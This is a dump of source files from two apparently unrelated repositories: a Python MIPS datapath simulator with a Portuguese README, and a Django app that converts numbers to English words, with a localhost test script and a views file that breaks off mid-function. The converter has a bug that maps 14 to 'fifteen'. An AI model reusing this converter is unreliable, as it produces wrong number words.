"max_line_length": 69, "num_lines": 58, "path": "/logic.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "from utils import (\n extend_to_bits, \n to_binary, \n to_integer,\n to_binaryC2,\n to_decimalC2\n)\n\n\nclass ALU:\n\n def makeSum(self, a, b):\n\n result = to_decimalC2(a) + to_decimalC2(b)\n\n if result > (2**31 -1) or result < -(2**31):\n print(\"{}OVERFLOW OCURRENCE{}\".format(\"-\" * 20, \"-\" * 7))\n\n result = to_binaryC2(result)\n return result\n\n def makeSub(self, a, b):\n\n result = to_decimalC2(a) - to_decimalC2(b)\n\n if result > (2**31 -1) or result < -(2**31):\n print(\"{}OVERFLOW OCURRENCE\".format(\"-\" * 26))\n\n result = to_binaryC2(result)\n\n return result\n\n def makeAnd(self, a, b):\n\n a = int(a, 2)\n b = int(b, 2)\n\n result = to_binary((a & b))\n\n return extend_to_bits(result)\n\n def makeOr(self, a, b):\n\n a = int(a, 2)\n b = int(b, 2)\n\n result = to_binary((a | b))\n\n return extend_to_bits(result)\n \n def makeNot(self, a):\n a_len = len(a)\n\n a = to_decimalC2(a)\n\n result = to_binaryC2(~a, a_len)\n\n return result\n" }, { "alpha_fraction": 0.5700245499610901, "alphanum_fraction": 0.5700245499610901, "avg_line_length": 23.66666603088379, "blob_id": "8582221ae748bfe89e43040f2f9649051b9e4215", "content_id": "218cc2fa994ccdd76976e32305bf79c20a53f12c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 814, "license_type": "no_license", "max_line_length": 58, "num_lines": 33, "path": "/core.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "from memory import RegistersBank, Memory\nfrom logic import ALU\nfrom instructions import PC\nfrom control import (\n ControlSw,\n ControlLw,\n ControlAdd,\n ControlSub,\n ControlAnd,\n ControlOr,\n)\n\n\nclass CPU:\n def __init__(self):\n self.alu = ALU()\n self.pc = PC()\n self.registers = RegistersBank()\n self.memory = Memory()\n self.control_types = {\n 'add': ControlAdd(self),\n 'sub': ControlSub(self),\n 'and': ControlAnd(self),\n 'or': ControlOr(self),\n 'lw': ControlLw(self),\n 'sw': ControlSw(self)\n }\n\n def execute(self):\n for instruction in self.pc.get_instructions():\n instruction_func = instruction.get_func()\n\n self.control_types[instruction_func].execute()\n" }, { "alpha_fraction": 0.5417765974998474, "alphanum_fraction": 0.5635129809379578, "avg_line_length": 34.37333297729492, "blob_id": "064157c8dabc8f36a5e4db27a15d527f9a21d70c", "content_id": "6d9206cb8abbec233a45ae7d87b4fccbb143c52a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7959, "license_type": "no_license", "max_line_length": 98, "num_lines": 225, "path": "/control.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "import abc\nfrom utils import to_integer, to_decimalC2\n\n\nclass BaseControl(abc.ABC):\n\n def __init__(self, cpu):\n self.cpu = cpu\n\n @abc.abstractmethod\n def execute(self):\n pass\n\n\nclass ControlAdd(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n print(instruction)\n\n rd = registers['rd']\n\n rs = registers['rs']\n print(\"Read the register 1: {}{}[{}]\".format(rs, ' '*25, to_integer(rs)))\n\n rt = registers['rt']\n print(\"Read the register 2: {}{}[{}]\".format(rt, ' '*25, to_integer(rt)))\n\n register_data1 = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data1, ))\n\n register_data2 = self.cpu.registers.get_value(rt)\n print(\"Read data 2: {}\".format(register_data2, ))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data1, ' '*6, to_decimalC2(register_data1)))\n print(\"ALU-in-2: {}{}[{}]\".format(register_data2, ' '*6, to_decimalC2(register_data2)))\n\n alu_result = self.cpu.alu.makeSum(register_data1, register_data2)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n self.cpu.registers.set_value(rd, alu_result)\n print(\"Write data: {}\".format(alu_result, ))\n \n print(\"Write register: {}{}[{}]\".format(rd, ' '*30, to_integer(rd)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\")\n\n\nclass ControlSub(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n print(instruction)\n\n rd = registers['rd']\n\n rs = registers['rs']\n print(\"Read the register 1: {}{}[{}]\".format(rs, ' '*25, to_integer(rs)))\n\n rt = registers['rt']\n print(\"Read the register 2: {}{}[{}]\".format(rt, ' '*25, to_integer(rt)))\n\n register_data1 = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data1))\n\n register_data2 = self.cpu.registers.get_value(rt)\n print(\"Read data 2: {}\".format(register_data2))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data1, ' '*6, to_decimalC2(register_data1)))\n print(\"ALU-in-2: {}{}[{}]\".format(register_data2, ' '*6, to_decimalC2(register_data2)))\n\n alu_result = self.cpu.alu.makeSub(register_data1, register_data2)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n self.cpu.registers.set_value(rd, alu_result)\n print(\"Write data: {}\".format(alu_result))\n\n print(\"Write register: {}{}[{}]\".format(rd, ' '*30, to_integer(rd)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\") \n\n\nclass ControlAnd(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n print(instruction)\n\n rd = registers['rd']\n\n rs = registers['rs']\n print(\"Read the register 1: {}{}[{}]\".format(rs, ' '*25, to_integer(rs)))\n\n rt = registers['rt']\n print(\"Read the register 2: {}{}[{}]\".format(rt, ' '*25, to_integer(rt)))\n\n register_data1 = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data1))\n\n register_data2 = self.cpu.registers.get_value(rt)\n print(\"Read data 2: {}\".format(register_data2))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data1, ' '*6, to_decimalC2(register_data1)))\n print(\"ALU-in-2: {}{}[{}]\".format(register_data2, ' '*6, to_decimalC2(register_data2)))\n\n alu_result = self.cpu.alu.makeAnd(register_data1, register_data2)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n self.cpu.registers.set_value(rd, alu_result)\n print(\"Write data: {}\".format(alu_result))\n\n print(\"Write register: {}{}[{}]\".format(rd, ' '*30, to_integer(rd)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\")\n\n\nclass ControlOr(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n print(instruction)\n\n rd = registers['rd']\n\n rs = registers['rs']\n print(\"Read the register 1: {}{}[{}]\".format(rs, ' '*25, to_integer(rs)))\n\n rt = registers['rt']\n print(\"Read the register 2: {}{}[{}]\".format(rt, ' '*25, to_integer(rt)))\n\n register_data1 = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data1))\n\n register_data2 = self.cpu.registers.get_value(rt)\n print(\"Read data 2: {}\".format(register_data2))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data1, ' '*6, to_decimalC2(register_data1)))\n print(\"ALU-in-2: {}{}[{}]\".format(register_data2, ' '*6, to_decimalC2(register_data2)))\n\n alu_result = self.cpu.alu.makeOr(register_data1, register_data2)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n self.cpu.registers.set_value(rd, alu_result)\n print(\"Write data: {}\".format(alu_result))\n\n print(\"Write register: {}{}[{}]\".format(rd, ' '*30, to_integer(rd)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\")\n\n\nclass ControlLw(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n offset = instruction.get_offset()\n print(instruction)\n\n rt = registers['rt']\n rs = registers['rs']\n print(\"Read the register 1:{}{}{}[{}]\".format(' '*20, rs, ' '*6, to_integer(rs)))\n\n register_data = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data, ' '*6, to_decimalC2(register_data)))\n print(\"ALU-in-2: {}{}[{}]\".format(offset, ' '*6, to_decimalC2(offset)))\n\n alu_result = self.cpu.alu.makeSum(register_data, offset)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n print(\"Address: {}\".format(alu_result))\n\n memory_data = self.cpu.memory.get_value(alu_result)\n print(\"Read data: {}\".format(memory_data))\n\n self.cpu.registers.set_value(rt, memory_data)\n print(\"Write data: {}{}[{}]\".format(memory_data, ' '*6, to_decimalC2(memory_data)))\n print(\"Write register:{}{}{}[{}]\".format(' '*25, rt, ' '*6, to_integer(rt)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\")\n\n\nclass ControlSw(BaseControl):\n\n def execute(self):\n instruction = self.cpu.pc.next_instruction\n registers = instruction.get_registers()\n offset = instruction.get_offset()\n print(instruction)\n\n rs = registers['rs']\n print(\"Read the register 1:{}{}{}[{}]\".format(' '*20, rs, ' '*6, to_integer(rs)))\n\n rt = registers['rt']\n print(\"Read the register 2:{}{}{}[{}]\".format(' '*20, rt, ' '*6, to_integer(rt)))\n\n register_data1 = self.cpu.registers.get_value(rs)\n print(\"Read data 1: {}\".format(register_data1))\n\n register_data2 = self.cpu.registers.get_value(rt)\n print(\"Read data 2: {}\".format(register_data2))\n\n print(\"ALU-in-1: {}{}[{}]\".format(register_data1, ' '*6, to_decimalC2(register_data1)))\n print(\"ALU-in-2: {}{}[{}]\".format(offset, ' '*6, to_decimalC2(offset)))\n\n alu_result = self.cpu.alu.makeSum(register_data1, offset)\n print(\"ALU-result: {}{}[{}]\".format(alu_result, ' '*6, to_decimalC2(alu_result)))\n\n print(\"Address: {}\".format(alu_result))\n\n self.cpu.memory.set_value(alu_result, register_data2)\n print(\"Write data: {}{}[{}]\".format(register_data2, ' '*6, to_decimalC2(register_data2)))\n \n print(\"{}\".format(\"-\" * 64))\n print(\"\\n\\n\")\n" }, { "alpha_fraction": 0.5324488878250122, "alphanum_fraction": 0.5500179529190063, "avg_line_length": 24.824073791503906, "blob_id": "b63ac1df5ed31fef04fe340f7ea3f2eff0a16247", "content_id": "2aa1048a8b33e315a0877dc3f7ee823bdeac9e04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2789, "license_type": "no_license", "max_line_length": 72, "num_lines": 108, "path": "/instructions.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "from li import FUNCTIONS\nfrom utils import extend_to_bits\n\nclass MipsInstruction:\n op = None\n rs = None\n rt = None\n rd = None\n shamt = None\n func = None\n offset = None\n instruction_type = None\n instruction = None\n\n def __init__(self, instruction):\n if not (isinstance(instruction, str) or len(instruction) == 32):\n raise Exception()\n\n self.instruction = instruction.replace('\\n', '')\n self.op = self.instruction[:6]\n\n if self.op == '000000':\n self._configure_to_registers()\n else:\n self._configure_to_imediate()\n\n def _configure_to_imediate(self):\n self.instruction_type = 'I'\n self.rs = self.instruction[6:11]\n self.rt = self.instruction[11:16]\n self.offset = self.instruction[16:32]\n\n return self.instruction\n\n def _configure_to_registers(self):\n self.instruction_type = 'R'\n self.rs = self.instruction[6:11]\n self.rt = self.instruction[11:16]\n self.rd = self.instruction[16:21]\n self.shamt = self.instruction[21:26]\n self.func = self.instruction[26:32]\n\n return self.instruction\n\n def has_offset(self):\n if self.instruction_type == 'R':\n return False\n\n return True\n\n def get_type(self):\n return self.instruction_type\n\n def get_function(self):\n return self.func\n\n def get_registers(self):\n registers = {\n 'rs': self.rs,\n 'rt': self.rt,\n 'rd': self.rd\n }\n return registers\n\n def get_offset(self):\n if not self.has_offset():\n return None\n\n return extend_to_bits(self.offset)\n\n def get_func(self):\n if self.op != '000000':\n return FUNCTIONS[self.op]\n\n return FUNCTIONS[self.func]\n\n def __repr__(self):\n representation = \"-\" * 64\n representation += \\\n \"\\nInstruction: {}\\nType: {}\\nOperation: {}\\n\".format(\n self.instruction,\n self.instruction_type,\n self.get_func()\n )\n\n representation += \"-\" * 64 \n\n return representation\n\n\nclass PC:\n def __init__(self, filename=\"instructions_file.txt\"):\n self.file = open(filename, 'r')\n self.next_instruction = None\n\n def get_instructions(self):\n \"\"\"\n Return a mips instruction object\n for each instruction in the file\n \"\"\"\n\n for instruction in self.file.readlines():\n if self.next_instruction:\n self.next_instruction = MipsInstruction(instruction)\n else:\n self.next_instruction = MipsInstruction(instruction)\n\n yield self.next_instruction\n" }, { "alpha_fraction": 0.31193792819976807, "alphanum_fraction": 0.5445247888565063, "avg_line_length": 37.060401916503906, "blob_id": "e217d664ed7b32c3c8e204dc948e9d4f9ea20a2b", "content_id": "b6f06ffeffed3bbff872dc5ea484456fe8dddc8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5710, "license_type": "no_license", "max_line_length": 95, "num_lines": 149, "path": "/README.md", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "# DatapathWay\nUm programa que auxilia no estudo de um datapath básico.\n\n## Datapath\nO projeto trabalha com o seguinte datapath:\n![Datapath Básico](/images/basic_datapath.jpg)\n\n## Começando\n\n### Pré-requisitos\nÉ necessário o [Python 3.x](https://www.python.org/downloads/) instalado no seu computador.\n\n### Baixando o projeto\nUtilize o [Git](https://git-scm.com/) para baixar o projeto em sua máquina.\nCertifique-se que o **Git** está instalado executando no terminal ```git --version```.\nClone o repósitório em sua máquina executando:\n```\n git clone https://github.com/AntLouiz/DatapathWay.git\n```\n\n### Executando\nUtilize o arquivo **instructions_file.txt.example** como exemplo para a execução do programa.\nRenomeie o arquivo **instructions_file.txt.example** para **instructions_file.txt** (Caso já \nexista um arquivo com esse nome, você deve apagá-lo ou nenomeá-lo).\nApague todos os comentários dentro do arquivo.\nEntre na pasta do projeto e execute o seguinte comando:\n\n```\n python3 main.py\n```\n\n## Exemplo\n#### Fazendo uma soma utilizando os comandos **lw**, **add** e **sw**.\n\nUtilizando a linguagem assembly temos os seguintes comandos:\n\n```\n lw $s2, 16($t0)\n lw $s3, 20($t0)\n add $t2, $s2, $s3\n sw $t2, 24($t0)\n```\n\nTransformando esses comandos em binário, obtemos:\n\n```\n 10001101000101000000000000010000\n 10001101000101010000000000010100\n 00000010101101000101000000100000\n 10101101000010100000000000011000\n```\n\nInsiro esses comandos no **instructions_file.txt** e executo no terminal ```python3 main.py```.\nA saída esperada será os caminhos percorridos pelos os principais dados das instruções\nque foram inseridas no arquivo.\n\n```\n ----------------------------------------------------------------\n Instruction: 10001101000101000000000000010000\n Type: I\n Operation: lw\n ----------------------------------------------------------------\n Read the register 1: 01000 [8]\n Read data 1: 00000000000000000000000000010000\n ALU-in-1: 00000000000000000000000000010000 [16]\n ALU-in-2: 00000000000000000000000000010000 [16]\n ALU-result: 00000000000000000000000000100000 [32]\n Address: 00000000000000000000000000100000\n Read data: 00110110000001101010110101000000\n Write data: 00110110000001101010110101000000 [906407232]\n Write register: 10100 [20]\n ----------------------------------------------------------------\n\n\n\n ----------------------------------------------------------------\n Instruction: 10001101000101010000000000010100\n Type: I\n Operation: lw\n ----------------------------------------------------------------\n Read the register 1: 01000 [8]\n Read data 1: 00000000000000000000000000010000\n ALU-in-1: 00000000000000000000000000010000 [16]\n ALU-in-2: 00000000000000000000000000010100 [20]\n ALU-result: 00000000000000000000000000100100 [36]\n Address: 00000000000000000000000000100100\n Read data: 11111101001111011011010111110101\n Write data: 11111101001111011011010111110101 [-46287371]\n Write register: 10101 [21]\n ----------------------------------------------------------------\n\n\n\n ----------------------------------------------------------------\n Instruction: 00000010101101000101000000100000\n Type: R\n Operation: add\n ----------------------------------------------------------------\n Read the register 1: 10101 [21]\n Read the register 2: 10100 [20]\n Read data 1: 11111101001111011011010111110101\n Read data 2: 00110110000001101010110101000000\n ALU-in-1: 11111101001111011011010111110101 [-46287371]\n ALU-in-2: 00110110000001101010110101000000 [906407232]\n ALU-result: 00110011010001000110001100110101 [860119861]\n Write data: 00110011010001000110001100110101\n Write register: 01010 [10]\n ----------------------------------------------------------------\n\n\n\n ----------------------------------------------------------------\n Instruction: 10101101000010100000000000011000\n Type: I\n Operation: sw\n ----------------------------------------------------------------\n Read the register 1: 01000 [8]\n Read the register 2: 01010 [10]\n Read data 1: 00000000000000000000000000010000\n Read data 2: 00110011010001000110001100110101\n ALU-in-1: 00000000000000000000000000010000 [16]\n ALU-in-2: 00000000000000000000000000011000 [24]\n ALU-result: 00000000000000000000000000101000 [40]\n Address: 00000000000000000000000000101000\n Write data: 00110011010001000110001100110101 [860119861]\n ----------------------------------------------------------------\n\n```\n\n## Observações\n\n### Registradores temporários e valores salvos:\n* $t0-$t7 :: 8 - 15\n* $s0-$s7 :: 16 - 23\n* $t8-$t9 :: 24 - 25\n\n### Memória:\n* Este datapath realiza operações com números inteiros em complemento de 2\n* A memória contém apenas 256 endereços.\n* A memória contém valores randômicos de -(2**31) até (2**31 - 1).\n* O registrador $t0 tem o valor 16.\n* Operações que foram implementadas:\n\n - lw\n - sw\n - add\n - sub\n - and\n - or\n" }, { "alpha_fraction": 0.4839400351047516, "alphanum_fraction": 0.4941113591194153, "avg_line_length": 22.632911682128906, "blob_id": "d370859bdcf2c66a5e876ae126d02fe7fb82c587", "content_id": "4fea3d2300be23f23e119e7335cc30d47b092914", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1868, "license_type": "no_license", "max_line_length": 72, "num_lines": 79, "path": "/memory.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "import random\nfrom utils import to_binary, extend_to_bits, to_binaryC2\n\n\nclass BaseMemory:\n\n def __init__(self):\n self.data = {}\n\n def set_value(self, address, value):\n \"\"\"\n Set a value with a given address\n \"\"\"\n\n self.data[address] = value\n\n return True\n\n def get_value(self, address):\n \"\"\"\n Return a value with a given address\n \"\"\"\n\n return self.data[address]\n\n\nclass RegistersBank(BaseMemory):\n data = {}\n\n def __new__(cls, *args, **kwargs):\n \"\"\"\n Make the BaseMemory a Monostate class\n \"\"\"\n obj = super(RegistersBank, cls).__new__(cls, *args, **kwargs)\n obj.__dict__ = cls.data\n\n return obj\n\n def __init__(self):\n total_registers = 2**5\n\n for i in range(total_registers):\n binary_number = to_binary(i)\n if len(binary_number) < 5:\n zero_fill = 5 - len(binary_number)\n binary_number = \"{}{}\".format(\n \"0\" * zero_fill,\n binary_number\n )\n\n if i == 8:\n self.data[binary_number] = extend_to_bits(to_binary(16))\n else:\n self.data[binary_number] = False\n\n\nclass Memory(BaseMemory):\n data = {}\n\n def __new__(cls, *args, **kwargs):\n \"\"\"\n Make the BaseMemory a Monostate class\n \"\"\"\n obj = super(Memory, cls).__new__(cls, *args, **kwargs)\n obj.__dict__ = cls.data\n\n return obj\n\n def __init__(self):\n total_data = 2**8\n\n for i in range(total_data):\n binary_number = to_binary(i)\n binary_number = extend_to_bits(to_binary(i))\n\n random_number = to_binaryC2(\n random.randint(-(2**31), (2**31) - 1)\n )\n self.data[binary_number] = random_number\n\n" }, { "alpha_fraction": 0.511904776096344, "alphanum_fraction": 0.511904776096344, "avg_line_length": 13, "blob_id": "2ec22842a234ff9e7c03a633372ac27c0d448fcf", "content_id": "08975fe20657442cb900ae23d87eb41c26295ec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 84, "license_type": "no_license", "max_line_length": 26, "num_lines": 6, "path": "/main.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "from core import CPU\n\n\nif __name__ == \"__main__\":\n cpu = CPU()\n cpu.execute()\n" } ]
9
alex2060/job1
https://github.com/alex2060/job1
c2f643273e35a2cd328d7f13367204cb60371a51
0bb8a4ab4271a35b8890345ff404baaccb8b4876
7a468e8260473007ed7b6be47e6b8ccde558e72c
refs/heads/main
2023-07-04T21:38:46.107051
2021-08-23T01:36:13
2021-08-23T01:36:13
398,707,736
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5727466344833374, "alphanum_fraction": 0.6451383829116821, "avg_line_length": 18.56944465637207, "blob_id": "2dee95bdae8bb21cf6f82c3100b06dac9f45e68d", "content_id": "7bfc4ed82cfb307604c851e633f6e390b52dab48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1409, "license_type": "no_license", "max_line_length": 84, "num_lines": 72, "path": "/pyspark/django_form_other_project/mysite/tests.py", "repo_name": "alex2060/job1", "src_encoding": "UTF-8", "text": "import requests\nr = requests.get('http://127.0.0.1:8080/number?number=1')\n#print(r.status_code)\n#print(r.text)\nif \"One\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\nif \"Ok\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\n\nr = requests.get('http://127.0.0.1:8080/number?number=8')\n#print(r.status_code)\n#print(r.text)\nif \"Eight\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\n\n\nr = requests.get('http://127.0.0.1:8080/number?number=5A')\n#print(r.status_code)\n#print(r.text)\nif \"Five\" in r.text:\n print(\"Failed Test\")\nelse:\n print(\"Passed Test\")\n\nif \"NAN\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\n\nr = requests.get('http://127.0.0.1:8080/number?number=')\n#print(r.status_code)\n#print(r.text)\nif \"NAN\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\n\nr = requests.get('http://127.0.0.1:8080/number?number=1000000000000000000000000000')\n#print(r.status_code)\n#print(r.text)\nif \"NTL\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\nr = requests.get('http://127.0.0.1:8080/number')\nprint(r.status_code)\nprint(r.text)\nif \"NAN\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n\nr = requests.get('http://127.0.0.1:8080/number',data = {'number': '1'})\n\nprint(r.status_code)\nprint(r.text)\nif \"NAN\" in r.text:\n print(\"Passed Test\")\nelse:\n print(\"Failed Test\")\n" }, { "alpha_fraction": 0.6518208980560303, "alphanum_fraction": 0.6713059544563293, "avg_line_length": 20.28217887878418, "blob_id": "43b1263fd7417f2a15a14e4cbae5f14e27709075", "content_id": "08b70e9a910a4586fb2c34d8b5e086087994cdbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4311, "license_type": "no_license", "max_line_length": 132, "num_lines": 202, "path": "/pyspark/django_form_other_project/mysite/number_to_english.py", "repo_name": "alex2060/job1", "src_encoding": "UTF-8", "text": "\n#https://www.vocabulary.cl/Basic/Numbers.html\n\n\n###\n\"\"\"\n\n\tThis is basic program for converting a string value of number into upto 999,999,999 into english\n\tThe program works baised on the number english convertion in the websight https://www.vocabulary.cl/Basic/Numbers.html\n\tit is not object based as in my opinion simple operations should be single call functions not classes in order to make outside code\n\tcleaner. \n\n\"\"\"\n\n#For adding a 100 to a three digent numbers \ndef one_hundreds(number):\n\tif number==\"0\":\n\t\treturn \"\"\n\treturn \"\"+one(number)+\" hundred\"\n\n#Converting a 1 diget string number to english\ndef one(number):\n\tvalue=number\n\tif value==\"0\":\n\t\treturn \"zero\"\n\tif value==\"1\":\n\t\treturn \"one\"\n\tif value==\"2\":\n\t\treturn \"two\"\n\tif value==\"3\":\n\t\treturn \"three\"\n\tif value==\"4\":\n\t\treturn \"four\"\n\tif value==\"5\":\n\t\treturn \"five\"\n\tif value==\"6\":\n\t\treturn \"six\"\n\tif value==\"7\":\n\t\treturn \"seven\"\n\tif value==\"8\":\n\t\treturn \"eight\"\n\tif value==\"9\":\n\t\treturn \"nine\"\n\n#Converting a 2 diget string number to english in the case where the first diget is a 1\ndef teens(number):\n\tvalue=number\n\tif value==\"0\":\n\t\treturn \"ten\"\n\tif value==\"1\":\n\t\treturn \"eleven\"\n\tif value==\"2\":\n\t\treturn \"twelve\"\n\tif value==\"3\":\n\t\treturn \"thirteen\"\n\tif value==\"4\":\n\t\treturn \"fifteen\"\n\tif value==\"5\":\n\t\treturn \"fifteen\"\n\tif value==\"6\":\n\t\treturn \"sixteen\"\n\tif value==\"7\":\n\t\treturn \"seventeen\"\n\tif value==\"8\":\n\t\treturn \"eighteen\"\n\tif value==\"9\":\n\t\treturn \"nineteen\"\n\n\n#For adding dashes in between the 10s place and the 1s place for three diget number stings a helper function for the funtion tens\ndef ones(number):\n\tif number==\"0\":\n\t\treturn \"\"\n\treturn \"-\"+one(number)\n\n\n#Converting a 2 diget string number to english \ndef tens(number):\n\tvalue=number[0]\n\tnumber=number[1]\n\n\tif value==\"0\":\n\t\treturn one(number)\n\tif value==\"1\":\n\t\treturn teens(number)\n\n\tif value==\"2\":\n\t\treturn \"twenty\"+ones(number)\n\n\tif value==\"3\":\n\t\treturn \"thirty\"+ones(number)\n\n\tif value==\"4\":\n\t\treturn \"forty\"+ones(number)\n\n\tif value==\"5\":\n\t\treturn \"fifty\"+ones(number)\n\n\tif value==\"6\":\n\t\treturn \"sixty\"+ones(number)\n\n\tif value==\"7\":\n\t\treturn \"seventy\"+ones(number)\n\n\tif value==\"8\":\n\t\treturn \"eighty\"+ones(number)\n\n\tif value==\"9\":\n\t\treturn \"ninety\"+ones(number)\n\n\n#Converting a 3 diget string number to english for values greater then one thousand\ndef hundreds_extion(number,ening_value):\n\tadder=tens( number[1]+number[2] )\n\tif number[0]!=\"0\":\n\t\tif adder!=\"zero\":\n\t\t\tadder=\" and \"+adder\n\t\telse:\n\t\t\tadder=\"\"\n\tout=one_hundreds( number[0] )+adder\n\tif out==\"zero\":\n\t\tout=\"\"\n\telse:\n\t\tout=out+ening_value\n\treturn out\n\n\n#Converting a 3 diget string number to english for values less then one thousand\ndef hundreds(number):\n\tadder=tens( number[1]+number[2] )\n\tif number[0]!=\"0\":\n\t\tif adder!=\"zero\":\n\t\t\tadder=\" and \"+adder\n\t\telse:\n\t\t\tadder=\"\"\n\treturn one_hundreds( number[0] )+adder\n\n\n#Converting a 9 diget number to english.\ndef Numb_to_english(number):\n\n\t#Pad the number if it to short \n\tnumber_holder=len(number)\n\tfor x in range(number_holder,9):\n\t\tnumber=\"0\"+number\n\n\t#Check if the number is to lonmg\n\tif len(number)!=9:\n\t\treturn \"NTL\"\n\n\t#Check if its not a number \n\tfor x in range(len(number)):\n\t\tif number[x].isnumeric() !=True:\n\t\t\treturn \"NAN\"\n\n\n\tmillons_coma=\"\"\n\tthosands_coma=\"\"\n\t#get the ending string\n\tending=hundreds(str(number[6]+number[7]+number[8]))\n\n\t#get the thousand place string\n\tthousand_place=hundreds_extion(number[3]+number[4]+number[5],\" thousand \")\n\t#get the millons place string\n\tmillons_place=hundreds_extion(number[0]+number[1]+number[2],\" million \")\n\n\n\n\t#check and see if the value is zero\n\tif thousand_place!=\"\" or millons_place!=\"\":\n\t\tif ending==\"zero\":\n\t\t\tending=\"\"\n\n\n\t#check and see if there needs to be after millons\n\tif millons_place!=\"\":\n\t\tif ending!=\"\" or thousand_place!=\"\":\n\t\t\tmillons_coma=\", \"\n\t\t\tif number[3]==\"0\":\n\t\t\t\tmillons_coma=\", and \"\n\t\n\t#check and see if there needs to be after the thousand place\n\tif thousand_place!=\"\":\n\t\tif ending!=\"\":\n\t\t\tthosands_coma=\", \"\n\t\t\t# adding and for case where there is no hudreds\n\t\t\tif number[6]==\"0\":\n\t\t\t\tthosands_coma=\", and \"\n\t\t\t\t\n\n\n\n\t#Capitalize First letter\n\ttheoutput=millons_place+millons_coma+thousand_place+thosands_coma+ending\n\n\tfist_char=theoutput[0].upper()\n\tfinal_output=\"\"\n\tfor x in range(1, len(theoutput) ):\n\t\tfinal_output+=theoutput[x]\n\n\n\n\treturn fist_char+final_output+\".\"\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5638672113418579, "alphanum_fraction": 0.5843750238418579, "avg_line_length": 22.013513565063477, "blob_id": "01d073114ec252e87ed915bddf0e932d4c0c6057", "content_id": "abe90dbdf3cf7d84db54575bb6a61f8b6523f74e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5120, "license_type": "no_license", "max_line_length": 138, "num_lines": 222, "path": "/pyspark/django_form_other_project/mysite/numb/views.py", "repo_name": "alex2060/job1", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nimport time\nfrom django.core.files import File\n# Create your views here.\n\n\nimport lets_convert\nfrom django.shortcuts import render\nimport mysql_test\n\n\ndef traider(req):\n \n f = open(\"to_be_frontend_check_make_traid.html\", \"r\")\n output= f.read()\n f.close()\n return HttpResponse( output )\n\ndef add_traid(req):\n f = open(\"add_user.html\", \"r\")\n output= f.read()\n f.close()\n return HttpResponse( output )\n\ndef compleat_traid(req):\n f = open(\"to_be_frontend_check_fin_traid.html\", \"r\")\n output= f.read()\n f.close()\n return HttpResponse( output )\n\ndef print_convertion(req):\n f = open(\"transaction.html\", \"r\")\n output= f.read()\n f.close()\n return HttpResponse( output )\n\ndef print_user(req):\n f = open(\"to_be_frontend_check_user.html\", \"r\")\n output= f.read()\n f.close()\n return HttpResponse( output )\n\n\ndef pyspark(req):\n return HttpResponse( \"output6\" )\n\ndef reset(req):\n return HttpResponse( \"output6\" )\n\n\ndef doit(req):\n print(\"in here\")\n #return HttpResponse( \"mysting\" )\n\n action_type=\"\"\n try:\n action_type=req.GET[\"action_type\"]\n 